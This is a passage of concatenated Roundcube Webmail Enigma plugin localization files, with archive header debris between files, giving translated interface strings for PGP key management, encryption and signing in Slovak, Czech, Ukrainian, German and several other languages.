$messages['keyimporttext'] = 'Jūs varat importēt privātās un publiskās atslēgas vai anulēšanas parakstus ASCII-Armor formātā.';
$messages['keyimportsearchtext'] = 'Publiskās atslēgas Jūs varat meklēt norādot vai nu atslēgas identifikatoru, vai lietotājvārdu, vai e-pasta adresi - un pēc tam pa tiešo tās importēt.';
$messages['formerror'] = 'Lūdzu aipildiet formu. Visi lauki ir obligāti!';
$messages['passwordsdiffer'] = 'Paroles nesakrīt!';
$messages['keygenerateerror'] = 'Neizdevās uzģenerēt atslēgu pāri.';
$messages['keygeneratesuccess'] = 'Atslēgu pāris veiksmīgi uzģenerēts un ieimportēts.';
$messages['keygennosupport'] = 'Nav iespējams uzģenerēt atslēgu pāri, jo Jūsu tīmekļa pārlūks neatbalsta kriptogrāfijas iespējas!';
$messages['noidentselected'] = 'Jums ir jāizvēlas vismaz viens atslēgas identifikators!';
$messages['nonameident'] = 'Identitātei jābūt ar definētu lietotāja vārdu!';
$labels['newkeysize'] = 'Atslēgas stiprums';
$labels['key2048'] = '2048 biti - pec noklusējuma';
$labels['key4096'] = '4096 biti - papildus drošība';
PKh�\� ��!�!%plugins/enigma/localization/sk_SK.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['encryption'] = 'Šifrovanie';
$labels['enigmacerts'] = 'Certifikáty S/MIME';
$labels['enigmakeys'] = 'Kľúče PGP';
$labels['keysfromto'] = 'Kľúče $from až $to z počtu: $count';
$labels['keyname'] = 'Názov';
$labels['keyid'] = 'ID kľúča';
$labels['keyuserid'] = 'ID používateľa';
$labels['keytype'] = 'Typ kľúča';
$labels['fingerprint'] = 'Odtlačok';
$labels['subkeys'] = 'Podradené kľúče';
$labels['keyprops'] = 'Vlastnosti kľúča';
$labels['basicinfo'] = 'Základná informácia';
$labels['userids'] = 'Ďalší používatelia';
$labels['typepublickey'] = 'verejný kľúč';
$labels['typekeypair'] = 'pár kľúčov';
$labels['keyattfound'] = 'Táto správa obsahuje priložené kľúče PGP.';
$labels['keyattimport'] = 'Importovať kľúč(e)';
$labels['typesign'] = 'Podpísať';
$labels['typeencrypt'] = 'Zašifrovať';
$labels['typecert'] = 'Certifikovať';
$labels['typeauth'] = 'Autentifikácia';
$labels['subkeyid'] = 'ID';
$labels['subkeyalgo'] = 'Algoritmus';
$labels['subkeycreated'] = 'Vytvorené';
$labels['subkeyexpires'] = 'Expiruje';
$labels['subkeyusage'] = 'Využitie';
$labels['expiresnever'] = 'nikdy';
$labels['unknown'] = 'neznáme';
$labels['uservalid'] = 'Platné';
$labels['userid'] = 'ID';
$labels['valid'] = 'platné';
$labels['supportencryption'] = 'Zapnúť šifrovanie a podpisovanie správ';
$labels['supportsignatures'] = 'Zapnúť overovanie podpisov v správe';
$labels['supportdecryption'] = 'Zapnúť dešifrovanie správ';
$labels['signdefault'] = 'Predvolene podpisovať všetky správy';
$labels['encryptdefault'] = 'Predvolene šifrovať všetky správy';
$labels['attachpubkeydefault'] = 'Predvolene pripájať môj verejný PGP kľúč';
$labels['passwordtime'] = 'Uchovávať heslá súkromného kľúča počas';
$labels['nminutes'] = '$m minút/minúty';
$labels['wholesession'] = 'celej relácie';
$labels['createkeys'] = 'Vytvoriť nový pár kľúčov';
$labels['importkeys'] = 'Importovať kľúč(e)';
$labels['exportkeys'] = 'Exportovať kľúč(e)';
$labels['keyactions'] = 'Akcie kľúča...';
$labels['keyremove'] = 'Odstrániť';
$labels['keydisable'] = 'Vypnúť';
$labels['keyrevoke'] = 'Odvolať';
$labels['keysend'] = 'Odoslať verejný kľúč v správe';
$labels['keychpass'] = 'Zmeniť heslo';
$labels['keyadd'] = 'Pridať kľúč';
$labels['newkeyident'] = 'Identita';
$labels['newkeypass'] = 'Heslo';
$labels['newkeypassconfirm'] = 'Potvrdenie hesla';
$labels['newkeytype'] = 'Typ kľúča';
$labels['rsa2048'] = 'RSA - 2048 bitov';
$labels['rsa4096'] = 'RSA - 4096 bitov';
$labels['ecckeypair'] = 'ECC (eliptická krivka)';
$labels['keygenerating'] = 'Generovanie kľúčov...';
$labels['encryptionoptions'] = 'Nastavenia šifrovania...';
$labels['encryptmsg'] = 'Zašifrovať túto správu';
$labels['signmsg'] = 'Digitálne podpísať túto správu';
$labels['sendunencrypted'] = 'Odoslať nezašifrované';
$labels['enterkeypasstitle'] = 'Zadať kľúčovú frázu';
$labels['enterkeypass'] = 'Na odomknutie tajného kľúča je potrebná kľúčová fráza ($keyid) pre používateľa: $user.';
$labels['attachpubkeymsg'] = 'Pripojiť môj verejný kľúč';
$labels['keyexportprompt'] = 'Chcete do uloženého súboru s kľúčmi OpenPGP zahrnúť aj tajné kľúče?';
$labels['onlypubkeys'] = 'Exportovať len verejné kľúče';
$labels['withprivkeys'] = 'Exportovať tajné kľúče';
$labels['findkey'] = 'Hľadať na serveri/serveroch s kľúčom';
$labels['keyimportlabel'] = 'Importovať zo súboru';
$labels['keyimportsearchlabel'] = 'Hľadať na serveri/serveroch s kľúčom';
$labels['managekeys'] = 'Spravovať kľúče PGP';
$labels['identitymatchingprivkeys'] = 'Vo vašej súprave kľúčov máte uložených $nr zodpovedajúcich súkromných kľúčov PGP.';
$labels['identitynoprivkeys'] = 'Pre túto identitu odosielateľa ešte nemáte v súprave kľúčov uložený žiadny súkromný kľúč PGP.';
$labels['arialabelkeyexportoptions'] = 'Nastavenia exportu kľúčov';
$labels['arialabelkeysearchform'] = 'Formulár pre vyhľadávanie kľúčov';
$labels['arialabelkeyoptions'] = 'Možnosti kľúča';
$messages['sigvalid'] = 'Overený podpis od $sender.';
$messages['sigvalidpartial'] = 'Overený podpis od $sender, ale časť tela podpísaná nebola.';
$messages['siginvalid'] = 'Neplatný podpis od $sender.';
$messages['sigunverified'] = 'Neoverený podpis, certifikát nebol overený. ID certifikátu: $keyid.';
$messages['signokey'] = 'Neoverený podpis. Verejný kľúč sa nenašiel. ID kľúča: $keyid.';
$messages['sigerror'] = 'Neoverený podpis. Interná chyba.';
$messages['decryptok'] = 'Správa bola dešifrovaná.';
$messages['decrypterror'] = 'Dešifrovanie nebolo úspešné.';
$messages['decryptnokey'] = 'Dešifrovanie nebolo úspešné. Súkromný kľúč sa nenašiel. ID kľúča: $keyid.';
$messages['decryptnomdc'] = 'Dešifrovanie bolo preskočené. Integrita správy nie je chránená.';
$messages['decryptbadpass'] = 'Dešifrovanie bolo neúspešné. Neplatné heslo.';
$messages['decryptnopass'] = 'Dešifrovanie nebolo úspešné. Vyžaduje sa kľúčové heslo.';
$messages['decryptpartial'] = 'Správa bola dešifrovaná, ale časť jej tela nebola zašifrovaná.';
$messages['signerror'] = 'Vloženie podpisu bolo neúspešné.';
$messages['signnokey'] = 'Vloženie podpisu bolo neúspešné. Nenašiel sa súkromný kľúč.';
$messages['signbadpass'] = 'Podpisovanie bolo neúspešné. Neplatné heslo.';
$messages['signnopass'] = 'Vloženie podpisu nebolo úspešné. Vyžaduje sa kľúčové heslo.';
$messages['encrypterror'] = 'Šifrovanie nebolo úspešné.';
$messages['encryptnokey'] = 'Šifrovanie nebolo úspešné. Nenašiel sa verejný kľúč pre $email.';
$messages['encryptnoprivkey'] = 'Šifrovanie bolo neúspešné. Nenašiel sa súkromný kľúč.';
$messages['nokeysfound'] = 'Nenašli sa žiadne kľúče';
$messages['keynotfound'] = 'Kľúč sa nenašiel!';
$messages['keyopenerror'] = 'Nemožno získať informácie o kľúči! Interná chyba.';
$messages['keylisterror'] = 'Nemožno zostaviť zoznam kľúčov! Interná chyba.';
$messages['keysimportfailed'] = 'Nemožno naimportovať kľúč(e)! Interná chyba.';
$messages['keysimportsuccess'] = 'Import kľúča (kľúčov) bol úspešný.Naimportované položky: $new, bez zmeny: $old.';
$messages['keyremoving'] = 'Odstraňovanie kľúča (kľúčov)...';
$messages['keyremoveconfirm'] = 'Naozaj chcete vymazať vybraný kľúč/kľúče?';
$messages['keyremovesuccess'] = 'Vymazanie kľúča (kľúčov) bolo úspešné.';
$messages['keyremoveerror'] = 'Nemožno vymazať vybraný kľúč (vybrané kľúče).';
$messages['keyimporttext'] = 'Môžete naimportovať súkromné a verejné kľúče alebo podpisy pre odvolanie vo formáte ASCII-Armor.';
$messages['keyimportsearchtext'] = 'Verejné kľúče môžete vyhľadávať podľa identifikátora kľúča, mena používateľa alebo e-mailovej adresy a potom ich priamo importovať.';
$messages['keystoragenotice'] = 'Všetky verejné a súkromné kľúče sú uložené na serveri.';
$messages['formerror'] = 'Prosím vyplňte formulár. Je nutné vyplniť všetky polia!';
$messages['passwordsdiffer'] = 'Heslá sa nezhodujú!';
$messages['keygenerateerror'] = 'Nepodarilo sa vygenerovať pár kľúčov';
$messages['keygeneratesuccess'] = 'Pár kľúčov bol úspešne vygenerovaný a naimportovaný.';
$messages['keygennosupport'] = 'Váš internetový prehliadač nepodporuje kryptografiu. Nemožno vygenerovať pár kľúčov!';
$messages['noidentselected'] = 'Pre tento kľúč si musíte vybrať aspoň jednu identitu!';
$messages['nonameident'] = 'Identita musí mať definované meno používateľa!';
$labels['newkeysize'] = 'Veľkosť kľúča';
$labels['key2048'] = '2048 bitov – predvolené';
$labels['key4096'] = '4096 bitov - bezpečnejšie';
PKh�\Q_��%plugins/enigma/localization/cs_CZ.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['encryption'] = 'Šifrování';
$labels['enigmacerts'] = 'S/MIME certifikáty';
$labels['enigmakeys'] = 'PGP klíče';
$labels['keysfromto'] = 'Klíče $from až $to z počtu: $count';
$labels['keyname'] = 'Jméno';
$labels['keyid'] = 'ID Klíče';
$labels['keyuserid'] = 'ID uživatele';
$labels['keytype'] = 'Typ klíče';
$labels['fingerprint'] = 'Otisk prstu';
$labels['subkeys'] = 'Podklíče';
$labels['keyprops'] = 'Vlastnosti klíče';
$labels['basicinfo'] = 'Základní informace';
$labels['userids'] = 'Další uživatelé';
$labels['typepublickey'] = 'veřejný klíč';
$labels['typekeypair'] = 'pár klíčů';
$labels['keyattfound'] = 'Tato zpráva má přiložený/é PGP klíče.';
$labels['keyattimport'] = 'Importovat klíče';
$labels['typesign'] = 'Podepsat';
$labels['typeencrypt'] = 'Zašifrovat';
$labels['typecert'] = 'Certifikovat';
$labels['typeauth'] = 'Autentizace';
$labels['subkeyid'] = 'ID';
$labels['subkeyalgo'] = 'Algoritmus';
$labels['subkeycreated'] = 'Vytvořený';
$labels['subkeyexpires'] = 'Vyprší';
$labels['subkeyusage'] = 'Použití';
$labels['expiresnever'] = 'nikdy';
$labels['unknown'] = 'neznámý';
$labels['uservalid'] = 'Správný';
$labels['userid'] = 'ID';
$labels['valid'] = 'správný';
$labels['supportencryption'] = 'Povolit podepisování a šifrování zpráv.';
$labels['supportsignatures'] = 'Povolit ověřování podpisů zpráv.';
$labels['supportdecryption'] = 'Povolit dešifrování zpráv.';
$labels['signdefault'] = 'Podepisovat všechny zprávy';
$labels['encryptdefault'] = 'Šifrovat všechny zprávy';
$labels['attachpubkeydefault'] = 'Automaticky připojit svůj veřejný klíč';
$labels['passwordtime'] = 'Uchovat hesla soukromých klíčů pro';
$labels['nminutes'] = '$m minut(a)';
$labels['wholesession'] = 'celá relace';
$labels['createkeys'] = 'Vytvořit nový pár klíčů';
$labels['importkeys'] = 'Importovat klíče';
$labels['exportkeys'] = 'Exportovat klíče';
$labels['keyactions'] = 'Akce s klíčem...';
$labels['keyremove'] = 'Smazat';
$labels['keydisable'] = 'Vypnout';
$labels['keyrevoke'] = 'Revokovat';
$labels['keysend'] = 'Odeslat veřejný klíč ve zprávě';
$labels['keychpass'] = 'Změnit heslo';
$labels['keyadd'] = 'Přidat klíč';
$labels['newkeyident'] = 'Identita';
$labels['newkeypass'] = 'Heslo';
$labels['newkeypassconfirm'] = 'Potvrdit heslo';
$labels['newkeytype'] = 'Typ klíče';
$labels['rsa2048'] = 'RSA - 2048 bitů';
$labels['rsa4096'] = 'RSA - 4096 bitů';
$labels['ecckeypair'] = 'ECC (Eliptická křivka)';
$labels['keygenerating'] = 'Generuji klíče...';
$labels['encryptionoptions'] = 'Možnosti šifrování...';
$labels['encryptmsg'] = 'Zašifrovat tuto zprávu';
$labels['signmsg'] = 'Digitálně podepsat tuto zprávu';
$labels['sendunencrypted'] = 'Poslat nešifrovaně';
$labels['enterkeypasstitle'] = 'Zadejte heslo pro klíč';
$labels['enterkeypass'] = 'Heslo je nutné k odemknutí soukromého klíče ($keyid) pro uživatele: $user.';
$labels['attachpubkeymsg'] = 'Připojit můj veřejný klíč';
$labels['keyexportprompt'] = 'Chcete do uloženého souboru s klíči OpenPGP zahrnout i tajné klíče?';
$labels['onlypubkeys'] = 'Exportovat pouze veřejné klíče';
$labels['withprivkeys'] = 'Exportovat soukromé klíče';
$labels['findkey'] = 'Hledat klíč na keyserveru';
$labels['keyimportlabel'] = 'Importovat ze souboru';
$labels['keyimportsearchlabel'] = 'Hledat klíč na keyserveru';
$labels['managekeys'] = 'Spravovat PGP klíče';
$labels['identitymatchingprivkeys'] = 'V klíčence máte $nr odpovídajících soukromých PGP klíčů:';
$labels['identitynoprivkeys'] = 'Klíčenka neobsahuje soukromý PGP klíč identity odesílatele.';
$labels['arialabelkeyexportoptions'] = 'Možnosti pro export klíčů';
$labels['arialabelkeysearchform'] = 'Formulář pro vyhledávání klíčů';
$labels['arialabelkeyoptions'] = 'Nastavení klíče';
$messages['sigvalid'] = 'Ověřený podpis od $sender.';
$messages['sigvalidpartial'] = 'Ověřený podpis od $sender, ale část těla není podepsána.';
$messages['siginvalid'] = 'Nesprávný podpis od $sender.';
$messages['sigunverified'] = 'Neověřený podpis. Certifikát není ověřen. ID certifikátu: $keyid.';
$messages['signokey'] = 'Neověřený podpis. Veřejný klíč nebyl nalezen. ID klíče: $keyid.';
$messages['sigerror'] = 'Neověřený podpis. Interní chyba.';
$messages['decryptok'] = 'Zpráva byla dešifrována.';
$messages['decrypterror'] = 'Dešifrování selhalo.';
$messages['decryptnokey'] = 'Dešifrování selhalo. Soukromý klíč nebyl nalezen. ID klíče: $keyid.';
$messages['decryptnomdc'] = 'Dešifrování přeskočeno. Integrita zprávy není chráněna.';
$messages['decryptbadpass'] = 'Dešifrování selhalo. Špatné heslo.';
$messages['decryptnopass'] = 'Dešifrování selhalo. Heslo pro klíč je požadováno.';
$messages['decryptpartial'] = 'Zpráva byla dešifrována, ale část jejího těla nebyla zašifrovaná.';
$messages['signerror'] = 'Podepisování selhalo.';
$messages['signnokey'] = 'Podepisování selhalo. Soukromý klíč nebyl nalezen.';
$messages['signbadpass'] = 'Podepisování selhalo. Špatné heslo.';
$messages['signnopass'] = 'Podepisování selhalo. Heslo pro klíč je požadováno.';
$messages['encrypterror'] = 'Šifrování selhalo.';
$messages['encryptnokey'] = 'Šifrování selhalo. Veřejný klíč pro email $email nebyl nalezen.';
$messages['encryptnoprivkey'] = 'Šifrování selhalo. Soukromý klíč nebyl nalezen.';
$messages['nokeysfound'] = 'Nebyly nalezeny žádné klíče.';
$messages['keynotfound'] = 'Klíč nebyl nalezen!';
$messages['keyopenerror'] = 'Nemohu dostat informace o klíči! Interní chyba.';
$messages['keylisterror'] = 'Nemohu získat seznam klíčů! Interní chyba.';
$messages['keysimportfailed'] = 'Nemohu importovat klíče! Interní chyba.';
$messages['keysimportsuccess'] = 'Klíče byly naimportovány. Importovány: $new, nezměněny: $old.';
$messages['keyremoving'] = 'Odstraňuji klíče...';
$messages['keyremoveconfirm'] = 'Opravdu si přejete odstranit vybrané klíče?';
$messages['keyremovesuccess'] = 'Klíče byly odstraněny.';
$messages['keyremoveerror'] = 'Nemohu smazat vybrané klíče.';
$messages['keyimporttext'] = 'Můžete naimportovat soukromé a veřejné klíče nebo podpisy pro revokaci ve formátu ASCII-Armor.';
$messages['keyimportsearchtext'] = 'Veřejné klíče můžete vyhledávat podle identifikátoru klíče, uživatele, nebo e-mailové adresy a potom je přímo importovat.';
$messages['keystoragenotice'] = 'Všechny veřejné a soukromé klíče jsou uloženy na serveru.';
$messages['formerror'] = 'Prosím vyplňte tento formulář. Všechna pole jsou požadována.';
$messages['passwordsdiffer'] = 'Zadaná hesla se neshodují!';
$messages['keygenerateerror'] = 'Selhalo generování páru klíčů';
$messages['keygeneratesuccess'] = 'Pár klíčů byl vygenerován a naimportován.';
$messages['keygennosupport'] = 'Váš webový prohlížeč nepodporuje kryptografii. Nemohu vygenerovat pár klíčů.';
$messages['noidentselected'] = 'Pro tento klíč si musíte vybrat alespoň jednu identitu!';
$messages['nonameident'] = 'Identita musí mít definované uživatelské jméno!';
$labels['newkeysize'] = 'Velikost klíče';
$labels['key2048'] = '2048 bitů - výchozí';
$labels['key4096'] = '4096 bitů - více bezpečné';
PKh�\��qq"plugins/enigma/localization/ti.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['subkeycreated'] = 'እዋን ፍጥረት';
$labels['newkeypass'] = 'መሐለፊ ቃል';
PKh�\.���%plugins/enigma/localization/ta_IN.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['expiresnever'] = 'எப்போதுமில்லை';
$labels['unknown'] = 'தெரியாத';
$labels['newkeypass'] = 'கடவுச்சொல்';
PKh�\��~�%plugins/enigma/localization/nl_BE.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['keyname'] = 'Naam';
$labels['subkeycreated'] = 'Aangemaakt';
$labels['expiresnever'] = 'nooit';
$labels['unknown'] = 'onbekend';
$labels['keychpass'] = 'Wijzig wachtwoord';
$labels['newkeypass'] = 'Wachtwoord';
$labels['keyimportlabel'] = 'Importeren uit bestand';
PKh�\��;G��%plugins/enigma/localization/hi_IN.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['expiresnever'] = 'कभी नहाीं';
$labels['unknown'] = 'अज्ञात';
$labels['newkeypass'] = 'पासवर्ड';
PKh�\���$�$%plugins/enigma/localization/uk_UA.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['encryption'] = 'Шифрування';
$labels['enigmacerts'] = 'Сертифікати S/MIME';
$labels['enigmakeys'] = 'PGP-ключі';
$labels['keysfromto'] = 'Ключі з $from до $to з $count';
$labels['keyname'] = 'Ім\'я';
$labels['keyid'] = 'ID ключа';
$labels['keyuserid'] = 'ID користувача';
$labels['keytype'] = 'Тип ключа';
$labels['fingerprint'] = 'Відбиток';
$labels['subkeys'] = 'Субключі';
$labels['basicinfo'] = 'Базова інформація';
$labels['userids'] = 'Додаткові користувачі';
$labels['typepublickey'] = 'публічний ключ';
$labels['typekeypair'] = 'пара ключів';
$labels['keyattfound'] = 'Це повідомлення містить прикріплений PGP-ключ(і).';
$labels['keyattimport'] = 'Імпортувати ключ(і)';
$labels['typesign'] = 'Підписати';
$labels['typeencrypt'] = 'Шифрувати';
$labels['typecert'] = 'Сертифікувати';
$labels['typeauth'] = 'Автентифікація';
$labels['subkeyid'] = 'ID';
$labels['subkeyalgo'] = 'Алгоритм';
$labels['subkeycreated'] = 'Створено';
$labels['subkeyexpires'] = 'Закінчується';
$labels['subkeyusage'] = 'Використання';
$labels['expiresnever'] = 'ніколи';
$labels['unknown'] = 'невідомо';
$labels['uservalid'] = 'Дійсний';
$labels['userid'] = 'ID';
$labels['valid'] = 'дійсний';
$labels['supportencryption'] = 'Увімкнути шифрування і підписання повідомлень';
$labels['supportsignatures'] = 'Увімкнути верифікацію підписів повідомленьй';
$labels['supportdecryption'] = 'Увімкнути розшифрування повідомлень';
$labels['signdefault'] = 'Типово підписувати усі листи';
$labels['encryptdefault'] = 'Типово шифрувати усі повідомлення';
$labels['attachpubkeydefault'] = 'Приєднати мій публічний типовий PGP ключ';
$labels['passwordtime'] = 'Зберігати паролі приватних ключів';
$labels['nminutes'] = '$n хвилин(и)';
$labels['wholesession'] = 'усю сесію';
$labels['createkeys'] = 'Створити нову пару ключів';
$labels['importkeys'] = 'Імпортувати ключ(і)';
$labels['exportkeys'] = 'Експортувати ключ(і)';
$labels['keyactions'] = 'Ключові дії...';
$labels['keyremove'] = 'Вилучити';
$labels['keydisable'] = 'Вимкнути';
$labels['keyrevoke'] = 'Відкликати';
$labels['keysend'] = 'Надіслати публічний ключ в повідомленні';
$labels['keychpass'] = 'Змінити пароль';
$labels['newkeypass'] = 'Пароль';
$labels['newkeytype'] = 'Тип ключа';
$labels['keygenerating'] = 'Генерування ключів…';
$labels['encryptionoptions'] = 'Опції шифрування…';
$labels['encryptmsg'] = 'Шифрувати це повідомлення';
$labels['signmsg'] = 'Поставити цифровий підпис під повідомленням';
$labels['enterkeypasstitle'] = 'Введіть фразу-пароль ключа';
$labels['enterkeypass'] = 'Необхідна фраза-пароль для відімкнення секретного ключа ($keyid) для користувача: $user.';
$labels['attachpubkeymsg'] = 'Приєднати мій публічний ключ';
$labels['keyexportprompt'] = 'Бажаєте включити приватні ключі у файл-ключів OpenPGP?';
$labels['onlypubkeys'] = 'Експортувати публічні ключі';
$labels['withprivkeys'] = 'Експортувати приватні ключі';
$labels['findkey'] = 'Пошук по ключовому(вих) серверах';
$labels['keyimportlabel'] = 'Імпортувати з файлу';
$labels['keyimportsearchlabel'] = 'Пошук по ключовому(вих) серверах';
$labels['arialabelkeyexportoptions'] = 'Опції експорту ключів';
$messages['sigvalid'] = 'Перевірений підпис від $sender.';
$messages['sigvalidpartial'] = 'Перевірений підпис від $sender, але частина тіла повідомлення не було підписано.';
$messages['siginvalid'] = 'Недійсний підпис від $sender.';
$messages['sigunverified'] = 'Неперевірений підпис. Сертифікат не перевірено. ID сертифіката: $keyid.';
$messages['signokey'] = 'Неперевірений підпис. Публічний ключ не знайдено. ID ключа: $keyid.';
$messages['sigerror'] = 'Неперевірений підпис. Внутрішня помилка.';
$messages['decryptok'] = 'Повідомлення розшифровано.';
$messages['decrypterror'] = 'Розшифрування не вдалося.';
$messages['decryptnokey'] = 'Розшифрування не вдалося. Приватний ключ не знайдено. ID ключа: $keyid.';
$messages['decryptnopass'] = 'Розшифрування не вдалося. Потрібен пароль ключа.';
$messages['decryptpartial'] = 'Повідомлення розшифроване, але частина тіла не було зашифроване.';
$messages['signerror'] = 'Підписання не вдалося.';
$messages['signnokey'] = 'Підписання не вдалося. Приватний ключ не знайдено.';
$messages['signnopass'] = 'Підписання не вдалося. Потрібен пароль ключа.';
$messages['encrypterror'] = 'Шифрування не вдалося. ';
$messages['encryptnokey'] = 'Шифрування не вдалося. Публічний ключ не знайдено для $email.';
$messages['nokeysfound'] = 'Не знайдено ключів';
$messages['keynotfound'] = 'Ключ не знайдено!';
$messages['keyopenerror'] = 'Не вдалося отримати інформацію про ключ! Внутрішня помилка.';
$messages['keylisterror'] = 'Не вдалося вивести перелік ключів! Внутрішня помилка.';
$messages['keysimportfailed'] = 'Не вдалося імпортувати ключ(і)! Внутрішня помилка.';
$messages['keysimportsuccess'] = 'Ключ(і) імпотровано успішно. Імпортовано: $new, без змін: $old.';
$messages['keyremoving'] = 'Вилучення ключа(-ів)…';
$messages['keyremoveconfirm'] = 'Ви дійсно хочете видалити обраний(-і) ключ(і)?';
$messages['keyremovesuccess'] = 'Ключ(і) вилучено успішно';
$messages['keyremoveerror'] = 'Не вдалося вилучити обраний(-і) ключ(і).';
$messages['keyimporttext'] = 'Ви можете імпортувати приватні та публічні ключі чи підписи скасування у форматі ASCII-Armor.';
$messages['keyimportsearchtext'] = 'Ви можете здійснювати пошук відкритих ключів за допомогою ідентифікатора ключа, ім\'я користувача або адреси електронної пошти, а потім імпортувати їх.';
$messages['formerror'] = 'Будь ласка, заповніть форму. Усі поля обов\'язкові!';
$messages['passwordsdiffer'] = 'Паролі не співпадають!';
$messages['keygenerateerror'] = 'Не вдалося згенерувати пару ключів';
$messages['keygeneratesuccess'] = 'Пару ключів успішно згенеровано й імпортовано.';
$messages['keygennosupport'] = 'Ваш веб-браузер не підтримує криптографію. Не вдалося згенерувати пару ключів!';
$messages['noidentselected'] = 'Ви повинні вибрати принаймні, один ідентифікатор для ключа!';
$messages['nonameident'] = 'Профіль повинен мати вказане ім\'я користувача!';
$labels['key2048'] = '2048 бітів — дефолтно';
$labels['key4096'] = '4096 бітів — безпечніше';
PKh�\e�מ,,%plugins/enigma/localization/fy_NL.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['keyname'] = 'Namme';
$labels['keyid'] = 'Kaai ID';
$labels['typeencrypt'] = 'Fersiferje';
$labels['subkeycreated'] = 'Oanmakke';
$labels['expiresnever'] = 'nea';
$labels['unknown'] = 'ûnbekend';
$labels['keychpass'] = 'Wachtwurd feroarje';
$labels['newkeypass'] = 'Wachtwurd';
PKh�\|�[j"j"%plugins/enigma/localization/de_CH.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['encryption'] = 'Verschlüsselung';
$labels['enigmacerts'] = 'S/MIME Zertifikate';
$labels['enigmakeys'] = 'PGP Schlüssel';
$labels['keysfromto'] = 'Schlüssel $from bis $to von $count';
$labels['keyname'] = 'Schlüssel';
$labels['keyid'] = 'Schlüssel ID';
$labels['keyuserid'] = 'Benutzer ID';
$labels['keytype'] = 'Schlüsseltyp';
$labels['fingerprint'] = 'Fingerprint';
$labels['subkeys'] = 'Sub-Schlüssel';
$labels['keyprops'] = 'Schlüsseleigenschaften';
$labels['basicinfo'] = 'Allgemeine Informationen';
$labels['userids'] = 'Zusätzliche Benutzer';
$labels['typepublickey'] = 'Öffentlicher Schlüssel';
$labels['typekeypair'] = 'Schlüsselpaar';
$labels['keyattfound'] = 'Diese Nachricht enthält angehängte PGP Schlüssel.';
$labels['keyattimport'] = 'Schlüssel importieren';
$labels['typesign'] = 'Signieren';
$labels['typeencrypt'] = 'Verschlüsseln';
$labels['typecert'] = 'Bestätigen';
$labels['typeauth'] = 'Authentifizierung';
$labels['subkeyid'] = 'Sub-Schlüssel ID';
$labels['subkeyalgo'] = 'Algorithmus';
$labels['subkeycreated'] = 'Erstellt am';
$labels['subkeyexpires'] = 'Läuft aus';
$labels['subkeyusage'] = 'Verwendet für';
$labels['expiresnever'] = 'nie';
$labels['unknown'] = 'unbekannt';
$labels['uservalid'] = 'Gültigkeit';
$labels['userid'] = 'ID';
$labels['valid'] = 'gültig';
$labels['supportencryption'] = 'Nachrichtenverschlüsselung und Signierung aktivieren';
$labels['supportsignatures'] = 'Verifizierung der Nachrichtensignatur aktivieren';
$labels['supportdecryption'] = 'Entschlüsselung von Nachrichten aktivieren';
